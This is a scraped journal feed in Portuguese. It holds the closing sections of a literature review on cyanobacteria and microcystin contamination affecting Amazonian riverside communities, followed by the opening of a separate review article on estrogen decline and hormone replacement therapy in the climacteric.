<p class="wp-block-paragraph">As cianotoxinas são metabólitos secundários produzidos por algumas espécies de cianobactérias. Entre as mais estudadas estão as microcistinas, cilindrospermopsinas, anatoxinas e saxitoxinas, que variam em toxicidade e efeitos fisiológicos (Carmichael, 2008; Chorus &amp; Welker, 2021). Dentre elas, as microcistinas se destacam pela alta estabilidade química e pelo risco hepatotóxico, sendo comumente associadas às espécies do gênero Microcystis, como observado em diversos corpos d’água da Amazônia.&nbsp;</p>



<p class="wp-block-paragraph">Em pesquisa realizada no Rio Tapajós, Silva, Peleja e Melo (2019) detectaram <em>microcistinas</em> em todo o período amostrado, associadas à presença de <em>Microcystis sp.</em> Embora as concentrações observadas estivessem abaixo do limite estabelecido pela&nbsp;Resolução CONAMA nº 357/2005 para uso recreativo, a detecção contínua evidencia a persistência dessas toxinas no ambiente e a necessidade de monitoramento permanente para prevenir riscos à saúde pública.&nbsp;</p>



<p class="wp-block-paragraph">O estudo de Torres <em>et al.</em> (2020) reforça essa preocupação ao relatar a predominância de espécies produtoras de cianotoxinas, como <em>Microcystis aeruginosa, Dolichospermum spiroides </em>e<em> Nostoc sp.</em>, correspondendo a 38% dos indivíduos identificados. Essa alta representatividade indica que as condições limnológicas locais favorecem o desenvolvimento de cianobactérias toxigênicas, potencializando o risco de episódios de floração nociva com implicações diretas para o abastecimento e uso recreativo das águas.&nbsp;</p>



<p class="wp-block-paragraph">As microcistinas, principais toxinas registradas nos estudos amazônicos, são hepatotoxinas de estrutura peptídica cíclica, conhecidas por inibir as proteínas fosfatases 1 e 2A em células hepáticas, causando degeneração celular e necrose hepática (Chorus &amp; Bartram, 1999). Além de afetarem organismos aquáticos e animais domésticos, sua bioacumulação pode atingir níveis tróficos superiores, representando risco potencial à saúde humana por meio do consumo de água ou alimentos contaminados.&nbsp;</p>



<p class="wp-block-paragraph">Em estudo mais recente, Oliveira et al. (2025) identificaram níveis de microcistina de até 24 μg/L em águas de praias da região de Santarém, valor classificado como nível de alerta 1 segundo os parâmetros da Organização Mundial da Saúde (OMS, 2020). Apesar de os parâmetros limnológicos gerais estarem dentro dos limites de balneabilidade estabelecidos pela CONAMA 357/2005, a presença de cianobactérias potencialmente tóxicas reforça que a boa qualidade físico-química da água não elimina o risco biológico associado às florações.&nbsp;</p>



<p class="wp-block-paragraph">A variabilidade espacial e temporal das florações cianobacterianas depende de fatores como luminosidade, disponibilidade de nutrientes e temperatura. No estudo de Silva, Peleja e Melo (2019), não foram observadas variações significativas relacionadas à pluviosidade ou ao pulso de inundação, o que sugere que a ocorrência contínua de Microcystis sp. pode estar associada à resiliência ecológica da espécie e à estabilidade térmica das águas tropicais, comuns na região amazônica.&nbsp;</p>



<p class="wp-block-paragraph">O monitoramento da ocorrência de cianobactérias e cianotoxinas é essencial para subsidiar planos de gestão da qualidade da água, sobretudo em regiões com intenso uso recreativo e turístico, como o oeste do Pará. A integração entre pesquisa científica, vigilância ambiental e políticas públicas é fundamental para mitigar os impactos das florações tóxicas, especialmente em contextos de vulnerabilidade sanitária e mudanças climáticas (Paerl &amp; Otten, 2016).&nbsp;</p>



<p class="wp-block-paragraph">Em síntese, os estudos revisados demonstram que a ocorrência de cianobactérias e suas toxinas na Amazônia paraense não é um evento isolado, mas um fenômeno recorrente e multifatorial. A identificação de espécies toxigênicas e de microcistinas em diferentes corpos d’água, desde o Rio Tapajós até as praias de Santarém. Evidencia a necessidade de ações interinstitucionais de monitoramento e controle, garantindo a proteção da saúde pública e a conservação dos ecossistemas aquáticos amazônicos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Categoria 2: </strong>Implicações para a saúde das populações ribeirinhas&nbsp;</p>



<p class="wp-block-paragraph">O acesso à água de qualidade é um fator determinante para a saúde das populações ribeirinhas da Amazônia, que dependem diretamente de rios e igarapés para consumo, higiene, pesca e outras atividades domésticas. A contaminação das águas por coliformes, bactérias heterotróficas, microcistinas e outros poluentes representa um risco significativo à saúde humana, podendo provocar doenças gastrointestinais, hepáticas e infecções de pele, além de agravar a vulnerabilidade de comunidades com acesso limitado a serviços de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Os estudos incluídos nesta categoria evidenciam que a falta de saneamento básico, a precariedade das instalações hidráulicas e a dependência de fontes naturais não tratadas contribuem para o aumento da exposição a agentes patogênicos. Além disso, destacam-se os impactos sociais e econômicos da inacessibilidade à água segura, mostrando que a proteção da saúde das populações ribeirinhas depende tanto do monitoramento da qualidade da água quanto de estratégias de intervenção e educação ambiental.&nbsp;</p>



<p class="wp-block-paragraph">A seguir, apresenta-se o Quadro 3, que sintetiza os principais achados relacionados às implicações para a saúde das populações ribeirinhas. O quadro organiza os estudos segundo artigo, eixo temático e principais achados, permitindo uma visualização integrada dos riscos à saúde associados à qualidade da água na região amazônica.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 3 –</strong> Síntese da Categoria 2</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="607" height="631" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2480.png" alt="" class="wp-image-253783" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2480.png 607w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2480-289x300.png 289w" sizes="(max-width: 607px) 100vw, 607px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Elaborado pelos autores a partir da síntese dos estudos incluídos na RIL (2025)&nbsp;</p>



<p class="wp-block-paragraph">As populações ribeirinhas amazônicas vivem em um contexto de intensa interação com o ambiente aquático, o que as torna particularmente vulneráveis às variações na qualidade da água. A dependência direta de rios, igarapés e poços para o consumo e atividades domésticas, aliada à ausência de sistemas de tratamento e saneamento, expõe essas comunidades a múltiplos riscos sanitários. Segundo Rodrigues (2024), o acesso limitado à água potável compromete a sobrevivência e o sustento das famílias ribeirinhas, configurando um grave problema de saúde pública.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa de de Sousa et al. (2016), conduzida na microbacia do Igarapé Cumaru (Igarapé-Açu/PA), demonstra que a vulnerabilidade das fontes hídricas rurais é um fator determinante para a contaminação da água, resultando em ameaça direta à saúde humana. O estudo ressalta que a ausência de barreiras sanitárias, como cercas de proteção, cobertura e distanciamento de fontes de contaminação (como fossas e currais), contribui para a introdução de patógenos nas águas consumidas diariamente.&nbsp;</p>



<p class="wp-block-paragraph">A precariedade das condições de saneamento básico também é destacada por Moraes e Fagundes (2015), ao analisarem a comunidade Paracuri III, onde a água utilizada para consumo e higiene doméstica apresentou coliformes, pH ácido e elevada matéria orgânica. Esses parâmetros, fora dos padrões de potabilidade definidos pela Portaria GM/MS nº 888/2021, indicam risco microbiológico e químico significativo, favorecendo a disseminação de doenças de veiculação hídrica, como diarreia infecciosa, hepatite A e leptospirose.&nbsp;</p>



<p class="wp-block-paragraph">De forma semelhante, o estudo de Porcy et al. (2020) revela a contaminação microbiológica em águas domiciliares de áreas alagadas, onde foram encontrados 34,8% de coliformes totais, 26,1% de coliformes termotolerantes e 56,5% de bactérias heterotróficas. Essa contaminação foi associada às instalações hidráulicas precárias, à ausência de desinfecção e ao armazenamento inadequado da água. Esses achados evidenciam a interrelação entre infraestrutura deficiente, exposição ambiental e vulnerabilidade sanitária nas margens dos rios amazônicos.&nbsp;</p>



<p class="wp-block-paragraph">Mesmo em uma região com abundância de recursos hídricos, a escassez de água potável é um paradoxo persistente. Mendonça et al. (2023) apontam que, no Amazonas, muitas comunidades dependem de água de chuva ou fontes superficiais não tratadas, o que amplia a exposição a contaminantes biológicos e químicos. Essa dependência de soluções informais reflete desigualdades históricas no acesso aos direitos fundamentais, reforçando a necessidade de políticas públicas voltadas à universalização do saneamento e da água segura.&nbsp;</p>



<p class="wp-block-paragraph">A análise de Castro et al. (2020) oferece uma perspectiva integrada ao destacar o panorama sanitário e as tecnologias sociais como alternativas viáveis para mitigar os impactos sobre a saúde. Os autores enfatizam que, embora predominem condições de saneamento inadequadas ou inexistentes, iniciativas de filtros comunitários, cisternas e saneamento ecológico têm demonstrado eficácia na melhoria da qualidade da água e na redução de doenças associadas. Essas estratégias valorizam o conhecimento local e a sustentabilidade, alinhando-se aos princípios da saúde ambiental.&nbsp;</p>



<p class="wp-block-paragraph">A relação entre a qualidade da água e a saúde das populações ribeirinhas deve ser compreendida sob a ótica da determinação social da saúde, uma vez que fatores socioeconômicos, geográficos e culturais condicionam o acesso aos serviços e o modo de vida dessas comunidades. Segundo Heller e Castro (2019), a precariedade do saneamento básico é uma das expressões mais evidentes da desigualdade social, refletindo-se nos indicadores de morbimortalidade infantil e nas doenças infecciosas associadas ao consumo de água contaminada.&nbsp;</p>



<p class="wp-block-paragraph">Além das doenças bacterianas e parasitárias, há evidências crescentes de contaminação química das águas por resíduos de mineração, esgoto doméstico e agrotóxicos. Esses contaminantes podem provocar efeitos crônicos, como alterações hepáticas, neurológicas e endócrinas (Silva <em>et al.,</em> 2021). Em comunidades ribeirinhas, onde a exposição é contínua e os mecanismos de vigilância sanitária são frágeis, os efeitos tóxicos acumulativos representam um desafio silencioso e de longo prazo à saúde pública.&nbsp;</p>



<p class="wp-block-paragraph">A ausência de políticas de vigilância ambiental adequadas agrava o cenário, pois a coleta e análise periódica da água são raramente realizadas em comunidades isoladas. Como apontam Rodrigues (2024) e Mendonça <em>et al.</em> (2023), o distanciamento geográfico e a limitação de recursos dificultam a implementação de ações preventivas e educativas. O fortalecimento das redes de vigilância em saúde ambiental, integradas aos serviços de atenção primária, é essencial para reduzir a incidência de agravos relacionados à água.&nbsp;</p>



<p class="wp-block-paragraph">Em síntese, os estudos analisados convergem ao demonstrar que as implicações para a saúde das populações ribeirinhas amazônicas decorrem da interação entre fatores ambientais e estruturais, resultando em um ciclo de vulnerabilidade sanitária. Nesse contexto, políticas públicas intersetoriais, baseadas na educação em saúde, no saneamento sustentável e no monitoramento participativo, são fundamentais para garantir o direito humano à água segura e promover equidade em saúde na Amazônia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Categoria 3: </strong>Estratégias de vigilância, monitoramento e controle&nbsp;</p>



<p class="wp-block-paragraph">A implementação de estratégias de vigilância, monitoramento e controle da qualidade da água é fundamental para reduzir os riscos à saúde pública em comunidades ribeirinhas e áreas vulneráveis da Amazônia. Essas estratégias envolvem desde o monitoramento regular de cianobactérias e cianotoxinas até o uso de tecnologias domésticas, como filtros e sistemas alternativos de tratamento, que visam garantir o acesso à água potável segura.&nbsp;</p>



<p class="wp-block-paragraph">Os estudos incluídos nesta categoria destacam a importância de programas contínuos de monitoramento de toxinas, inventários de espécies potencialmente nocivas e avaliação da eficácia de tecnologias de tratamento caseiro. A aplicação dessas estratégias permite identificar precocemente ameaças à saúde, orientar políticas públicas e subsidiar ações de educação ambiental, promovendo a proteção das populações ribeirinhas e contribuindo para a sustentabilidade do manejo dos recursos hídricos.&nbsp;</p>



<p class="wp-block-paragraph">A seguir, apresenta-se o Quadro 4, que sintetiza os principais achados relacionados às estratégias de vigilância, monitoramento e controle da qualidade da água. O quadro organiza os estudos segundo artigo, eixo temático e principais achados, possibilitando uma visão integrada das medidas preventivas e corretivas adotadas na região amazônica.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 4 –</strong> Síntese da Categoria 3</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="667" height="460" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2482.png" alt="" class="wp-image-253786" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2482.png 667w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2482-300x207.png 300w" sizes="(max-width: 667px) 100vw, 667px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Elaborado pelos autores a partir da síntese dos estudos incluídos na RIL (2025).&nbsp;</p>



<p class="wp-block-paragraph">As estratégias de vigilância e monitoramento da qualidade da água são fundamentais para a prevenção de riscos associados à presença de cianobactérias e cianotoxinas em ecossistemas aquáticos. Tais ações possibilitam a detecção precoce de alterações ambientais, subsidiando a tomada de decisão por parte das autoridades sanitárias e ambientais. Na região amazônica, a ampla extensão territorial e as características hidrológicas complexas tornam o monitoramento um desafio técnico e logístico, exigindo abordagens interdisciplinares e integradas (Chorus &amp; Welker, 2021).&nbsp;</p>



<p class="wp-block-paragraph">O estudo de Silva, Peleja e Melo (2019) exemplifica uma estratégia eficaz de vigilância ao realizar o acompanhamento quinzenal da microcistina-LR no Rio Tapajós, detectando a presença contínua da toxina mesmo em concentrações abaixo dos limites para uso recreativo. Essa persistência reforça a importância da monitorização sistemática, não apenas em episódios de floração, mas também em períodos de estabilidade aparente, uma vez que baixas concentrações prolongadas podem indicar processos crônicos de eutrofização e risco à saúde ambiental.&nbsp;</p>



<p class="wp-block-paragraph">Complementarmente, Torres et al. (2020) conduziram um monitoramento físico-químico e biológico que possibilitou a identificação de espécies dominantes produtoras de cianotoxinas, como <em>Microcystis aeruginosa</em>, <em>Dolichospermum spiroides</em> e <em>Nostoc sp.</em> O uso combinado de parâmetros limnológicos e análise taxonômica mostrou-se uma estratégia robusta para detectar potenciais riscos toxicológicos e compreender a dinâmica ecológica das florações, permitindo direcionar medidas preventivas mais precisas.&nbsp;</p>



<p class="wp-block-paragraph">O monitoramento biológico e químico integrado tem sido amplamente recomendado por órgãos como a Organização Mundial da Saúde (OMS, 2020) e o Ministério da Saúde (Brasil, 2021), que orientam a adoção de protocolos contínuos de vigilância para águas de abastecimento e recreação. No contexto amazônico, essas diretrizes ganham relevância diante da frequência de florações cianobacterianas e da dependência das comunidades ribeirinhas de fontes superficiais para consumo e uso doméstico.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa de Oliveira et al. (2025) reforça a importância do monitoramento da balneabilidade e dos níveis de microcistinas em praias do Tapajós, onde foram identificadas concentrações de até 24 μg/L (nível de alerta 1). Embora os parâmetros limnológicos gerais estivessem dentro dos padrões da Resolução CONAMA nº 357/2005, a presença de toxinas evidenciou que a boa aparência da água não garante segurança sanitária, reiterando a necessidade de vigilância contínua mesmo em áreas de uso recreativo.&nbsp;</p>



<p class="wp-block-paragraph">Além do monitoramento técnico-institucional, estratégias comunitárias e de baixo custo também se mostram relevantes para o controle da qualidade da água. O estudo de Caramello, Furtado e Rodrigues (2022) avaliou o uso de filtros domésticos em áreas vulneráveis e constatou melhora significativa na qualidade da água, com desempenho comparável ao filtro de barro tradicional. Essa evidência demonstra que soluções simples e acessíveis podem reduzir a exposição a contaminantes microbiológicos e químicos, fortalecendo a autonomia sanitária das populações locais.&nbsp;</p>



<p class="wp-block-paragraph">O emprego de tecnologias sociais e instrumentos de educação ambiental tem papel essencial na sustentabilidade das ações de vigilância. Iniciativas que envolvem as comunidades na coleta de amostras, registro de alterações visuais da água e manutenção de equipamentos favorecem a vigilância participativa e ampliam o alcance das políticas públicas de saúde ambiental (Castro et al., 2020). Tais abordagens reduzem a dependência exclusiva de monitoramentos técnicos centralizados e fortalecem a governança local da água.&nbsp;</p>



<p class="wp-block-paragraph">A integração entre instituições de ensino, órgãos ambientais e serviços de vigilância sanitária é outro elemento-chave para o fortalecimento das estratégias de controle. Projetos interinstitucionais permitem o compartilhamento de dados e metodologias padronizadas, viabilizando a criação de redes de monitoramento regionalizadas (Paerl &amp; Otten, 2016). No contexto amazônico, essa articulação é particularmente importante para superar barreiras geográficas e operacionais.&nbsp;</p>



<p class="wp-block-paragraph">Em termos de gestão pública, a vigilância e o controle de cianobactérias devem estar alinhados às políticas nacionais de recursos hídricos, ao Plano Nacional de Vigilância da Qualidade da Água para Consumo Humano (Vigiagua) e aos instrumentos da Política Nacional de Saneamento Básico (Lei nº 11.445/2007). Esses mecanismos oferecem suporte legal e técnico para a implementação de sistemas de alerta precoce, análises laboratoriais e medidas preventivas que assegurem a proteção da saúde coletiva.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente pesquisa teve como objetivo realizar uma revisão integrativa da literatura de 11 artigos selecionados sobre a ocorrência de cianobactérias e cianotoxinas em águas utilizadas por comunidades ribeirinhas da região Norte do Brasil, analisando suas implicações para a saúde pública e as estratégias de vigilância e controle adotadas. A síntese dos resultados permitiu uma compreensão ampla e integrada das relações entre qualidade da água, condições ambientais e vulnerabilidades sociais que caracterizam os contextos amazônicos.&nbsp;</p>



<p class="wp-block-paragraph">Os achados da Categoria 1 evidenciam que a ocorrência de cianobactérias e&nbsp;suas toxinas é um fenômeno recorrente e de ampla distribuição em diferentes ecossistemas aquáticos da Amazônia, incluindo rios, igarapés e praias urbanas. Espécies toxigênicas como Microcystis aeruginosa, Dolichospermum spiroides e Nostoc sp. foram frequentemente identificadas, associadas à produção de microcistinas, toxinas hepatotóxicas de alta estabilidade e relevância ambiental. A presença contínua dessas substâncias, mesmo em concentrações abaixo dos limites recreativos, demonstra persistência ecológica e risco crônico, exigindo atenção constante das autoridades sanitárias e ambientais.&nbsp;</p>



<p class="wp-block-paragraph">Na Categoria 2, os estudos analisados reforçam que as implicações para a saúde das populações ribeirinhas são profundas e multifatoriais. A dependência direta de fontes superficiais de água, a ausência de saneamento básico e a contaminação microbiológica e química foram fatores recorrentes. Esses elementos se interligam, resultando em elevada vulnerabilidade sanitária e em maior incidência de doenças de veiculação hídrica, como gastroenterites, hepatites e parasitoses. Mesmo em regiões com abundância de recursos hídricos, a escassez de água potável segura representa um paradoxo social e ambiental, evidenciando desigualdade estrutural no acesso ao direito humano à água.&nbsp;</p>



<p class="wp-block-paragraph">Além dos riscos imediatos, observou-se também que a exposição crônica às toxinas e contaminantes pode acarretar efeitos cumulativos sobre a saúde, como alterações hepáticas e neurológicas. Esses impactos tornam-se ainda mais críticos diante da fragilidade dos serviços de vigilância ambiental e sanitária nas regiões ribeirinhas e de difícil acesso. Assim, os estudos revisados apontam que a problemática das cianobactérias transcende o campo ecológico, configurando-se como uma questão de saúde pública e justiça ambiental.&nbsp;</p>



<p class="wp-block-paragraph">A Categoria 3 destacou as principais estratégias de vigilância, monitoramento e controle empregadas para minimizar os riscos associados às cianotoxinas. Os monitoramentos físico-químicos e biológicos realizados em rios e praias amazônicas mostraram-se essenciais para a detecção precoce de florações e para a avaliação dos níveis de alerta de microcistinas. Contudo, a literatura aponta que o monitoramento ainda ocorre de forma pontual e limitada, demandando programas contínuos e regionalizados, baseados em parcerias interinstitucionais entre universidades, órgãos ambientais e serviços de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Os estudos também evidenciam o potencial das tecnologias sociais e soluções de baixo custo, como o uso de filtros domésticos e sistemas de captação de água de chuva, que mostraram eficácia na melhoria da qualidade da água consumida por famílias ribeirinhas. A incorporação dessas estratégias, aliadas à educação ambiental e à vigilância participativa, amplia a autonomia das comunidades e fortalece a gestão local da água, promovendo sustentabilidade e corresponsabilidade no controle dos riscos hídricos.&nbsp;</p>



<p class="wp-block-paragraph">De forma transversal às três categorias, nota-se que a integração entre ciência, gestão e participação comunitária é o caminho mais promissor para enfrentar os desafios impostos pelas florações de cianobactérias na região Norte. O fortalecimento das redes de monitoramento ambiental, aliado à ampliação do Vigiagua e de programas estaduais de controle da qualidade da água, pode garantir respostas mais ágeis e preventivas a episódios de contaminação, reduzindo danos ambientais e impactos à saúde coletiva.&nbsp;</p>



<p class="wp-block-paragraph">Os resultados desta revisão apontam, ainda, para a necessidade de investimentos em pesquisa aplicada e infraestrutura laboratorial que permitam identificar rapidamente as espécies toxigênicas e quantificar as toxinas presentes nas águas. O desenvolvimento de protocolos regionais de vigilância adaptados às características hidrológicas da Amazônia é essencial para otimizar recursos e garantir a continuidade das ações de controle.&nbsp;</p>



<p class="wp-block-paragraph">Em síntese, a análise integrada das três categorias permite concluir que a ocorrência de cianobactérias e cianotoxinas na região Norte do Brasil reflete a complexa interação entre fatores ambientais, sociais e institucionais. A proteção da saúde das populações ribeirinhas depende de uma abordagem intersetorial, que una monitoramento científico, políticas públicas efetivas e participação social, garantindo o acesso à água segura, à informação e à equidade em saúde ambiental.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALVES, M. S. A.<strong>Cianobactérias e cianotoxinas em águas continentais</strong>. 2017.&nbsp;&nbsp;</p>



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<p class="wp-block-paragraph">WORLD HEALTH ORGANIZATION (WHO). <strong>Guidelines for Drinking-Water Quality.</strong>&nbsp;4th ed. Geneva: WHO, 2022.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>E-mail: gerbduarte@gmail.com&nbsp;&#8211; Orcid: https://orcid.org/0009-0004-8636-9884. Acadêmica de biomedicina.<br><sup>2</sup>Email: acedemico3112@gmail.com&nbsp;&#8211; Orcid: https://orcid.org/0009-0008-7110-8779. Acadêmico de biomedicina.<br><sup>3</sup>E-mail: leilianess@gmail.com&nbsp;&#8211; Orcid: https://orcid.org/0000-0002-8117-1105. Docente, Universidade da Amazônia</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CLIMATÉRIO: ABORDAGEM ATUAL SOBRE OS EFEITOS DO ESTROGÊNIO E SUA PRINCIPAIS VANTAGENS NA REPOSIÇÃO HORMONAL</title>
		<link>https://revistaft.com.br/climaterio-abordagem-atual-sobre-os-efeitos-do-estrogenio-e-sua-principais-vantagens-na-reposicao-hormonal/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 25 Nov 2025 20:42:55 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=253513</guid>

					<description><![CDATA[CLIMACTERIC: CURRENT APPROACH TO THE EFFECTS OF ESTROGEN AND ITS MAIN ADVANTAGES IN HORMONE REPLACEMENT REGISTRO DOI: 10.69849/revistaft/cl10202511251741 Nayla Silva Gonçalves¹Orientadora: Francine Pinto² RESUMO: O climatério representa uma etapa natural da vida da mulher, caracterizada pela redução gradual da função ovariana e pela queda dos níveis de estrogênio, o que acarreta diversas alterações fisiológicas e [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">CLIMACTERIC: CURRENT APPROACH TO THE EFFECTS OF ESTROGEN AND ITS MAIN ADVANTAGES IN HORMONE REPLACEMENT</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511251741</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Nayla Silva Gonçalves¹<br>Orientadora: Francine Pinto²</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO:</strong> O climatério representa uma etapa natural da vida da mulher, caracterizada pela redução gradual da função ovariana e pela queda dos níveis de estrogênio, o que acarreta diversas alterações fisiológicas e emocionais que comprometem a qualidade de vida. Este estudo teve como objetivo geral descrever os efeitos do hormônio estrogênio sobre o climatério e analisar as principais vantagens e desvantagens da terapia de reposição hormonal (TRH). A pesquisa foi desenvolvida por meio de uma revisão integrativa de literatura, com abordagem qualitativa e descritiva, baseada em artigos científicos, livros e bases de dados como SCIELO, LILACS e PUBMED, publicados entre 2015 e 2025. Os resultados evidenciaram que a diminuição do estrogênio está associada a sintomas físicos, psicológicos e metabólicos, enquanto a reposição hormonal, quando bem indicada e monitorada, promove melhora na densidade óssea, na saúde cardiovascular e no bem-estar emocional. Contudo, seu uso inadequado pode elevar riscos como trombose e câncer de mama. Conclui-se que o manejo do climatério deve ser individualizado e multidisciplinar, buscando equilibrar benefícios e riscos para garantir uma melhor saúde feminina e qualidade de vida.</p>



<p class="wp-block-paragraph"><strong>Palavras chave: </strong>Terapia de reposição hormonal (TRH); Estrogênio; Climatério; Saúde Feminina.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT:</strong> Menopause is a natural stage in a woman&#8217;s life, characterized by a gradual decline in ovarian function and a drop in estrogen levels, leading to several physiological and emotional changes that compromise quality of life. This study aimed to describe the effects of estrogen on menopause and analyze the main advantages and disadvantages of hormone replacement therapy (HRT). The research was conducted through an integrative literature review, with a qualitative and descriptive approach, based on scientific articles, books, and databases such as SCIELO, LILACS, and PUBMED, published between 2015 and 2025. The results showed that decreased estrogen levels are associated with physical, psychological, and metabolic symptoms, while hormone replacement therapy, when properly prescribed and monitored, promotes improvements in bone density, cardiovascular health, and emotional well-being. However, its inappropriate use can increase risks such as thrombosis and breast cancer. It is concluded that menopause management should be individualized and multidisciplinary, seeking to balance benefits and risks to ensure better women&#8217;s health and quality of life.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Hormone replacement therapy (HRT); Estrogen; Climacteric; Women&#8217;s Health.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">Nos últimos anos, a expectativa de vida da população mundial vem aumentando consideravelmente, esse aumento é devido a diversos fatores, como o avanço da medicina, o maior acesso aos serviços de saúde e a conscientização sobre a importância da prevenção de doenças. Nas mulheres, em 1900 a expectativa de vida era de aproximadamente 50 anos, atualmente, excede os 80 anos (Almeida; Morais, 2024).</p>



<p class="wp-block-paragraph">Na busca por uma melhor qualidade de vida, as mulheres costumam procurar atendimento médico com mais frequência, realizar exames de rotina e seguir tratamentos adequadamente, o que contribui para a detecção precoce de problemas de saúde, além disso, as mulheres vêm melhorando significativamente o seu estilo de vida, introduzindo hábitos saudáveis na alimentação, atividade física regular e equilíbrio de tempo. Sugere-se ainda que, o envelhecimento feminino esteja intrinsecamente ligado aos hormônios produzidos, como estradiol, cortisol, melatonina e o estrogênio (Carneiro et al., 2023).</p>



<p class="wp-block-paragraph">O estrogênio é um dos principais hormônios esteroides secretado pelos ovários e tem como papel o desenvolvimento da saúde feminina, sua principal função é o amadurecimento dos órgãos sexuais, desenvolvimento ósseo, proliferação e diferenciação do epitélio mamário, manutenção e controle da função reprodutiva, funções vasodilatadoras ao liberar óxido nítrico no ato sexual, preparação da parte interna do útero para uma ovulação e possível fecundação, dentre outros. Nos homens esse hormônio é produzido em leves quantidades e tem papeis imunológicos, neuroendócrino e vascular (Costa et al., 2019).&nbsp;</p>



<p class="wp-block-paragraph">Durante o climatério, a produção de estrogênio pelos ovários começa a diminuir, isso acontece porque os ovários reduzem suas atividades, como resultado, outros hormônios como o hormônio folículo-estimulante (FSH) aumentam para tentar compensar a diminuição do estrogênio, mas essa tentativa geralmente não é suficiente, o que compromete diversas funções fisiológicas fundamentais para o organismo feminino, sendo sua deficiência um fator crítico para o surgimento de comorbidades (Melo et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Essa queda pode trazer consequências para a saúde da mulher, além de estar associada a sintomas já conhecidos do climatério como: ondas de calor, suores noturnos e alterações de humor, que podem impactar significativamente a qualidade de vida, há também um risco considerável de osteoporose, já que esse hormônio desempenha um papel crucial na manutenção da densidade óssea, alterações na saúde cardiovascular são frequentemente comum, uma vez que o estrogênio tem um efeito protetor sobre o coração, por fim, a diminuição dos níveis de estrogênio pode afetar a saúde vaginal e desconforto durante a relação sexual (Cavalcante et al., 2023).</p>



<p class="wp-block-paragraph">Diante disso questiona-se: Quais os efeitos do declínio do estrogênio no climatério na saúde feminina e as vantagens e desvantagens da reposição hormonal?</p>



<p class="wp-block-paragraph">A diminuição dos níveis de estrogênio pode levar a uma série de sintomas desconfortáveis, uma hipótese interessante é que a reposição hormonal com estrogênio pode não apenas aliviar esses sintomas, mas também oferecer benefícios adicionais à saúde. Ao restaurar os níveis hormonais através da terapia de reposição hormonal (TRH) é possível que haja uma melhora na qualidade de vida das mulheres que estão na fase no climatério, promovendo um bem-estar físico e emocional. Além disso, a reposição hormonal pode ajudar a manter a saúde da pele e a função cognitiva, contribuindo para um envelhecimento mais saudável e ativo. (Andy et al., 2024).</p>



<p class="wp-block-paragraph">O objetivo principal desse estudo foi descrever os efeitos do hormônio estrogênio sobre o climatério na mulher e as vantagens e desvantagens da reposição hormonal. Tendo como objetivos específicos: analisar os efeitos do decaimento do estrogênio na saúde feminina e suas possíveis consequências; abordar sobre as mudanças ocorridas no corpo feminino durante o climatério; citar as vantagens e desvantagens da reposição hormonal.</p>



<p class="wp-block-paragraph">A principal motivação para sustentar este projeto de pesquisa, reside na importância que o tema tem para a sociedade acadêmica, para os profissionais de saúde e para a sociedade em geral. As pesquisas atuais demonstram a importância em identificar e lidar com as diversas fases do desenvolvimento feminino, desde a puberdade até a pós menopausa, por questões emocionais, hormonais e por diagnósticos precoces quanto às principais doenças que afetam essa classe em particular. Atualmente, tem se falado no padrão de beleza feminino e aumentar a longevidade, porém, está constatado que os hormônios são um dos fatores de risco do envelhecimento precoce e danos causados à saúde e bem-estar feminino, possibilitando uma intervenção precoce caso necessário.</p>



<p class="wp-block-paragraph"><strong>2. REFERENCIAL TEÓRICO</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Climatério: definição e conceito</strong></p>



<p class="wp-block-paragraph">O Climatério é o período que marca o fim da vida reprodutiva feminina, através da diminuição da função ovariana, ocorrendo entre os 40 e 65 anos de idade. Essa etapa da vida feminina é dividida em fases: pré-menopausa, menopausa e pós-menopausa (Brasil, 2018).&nbsp;</p>



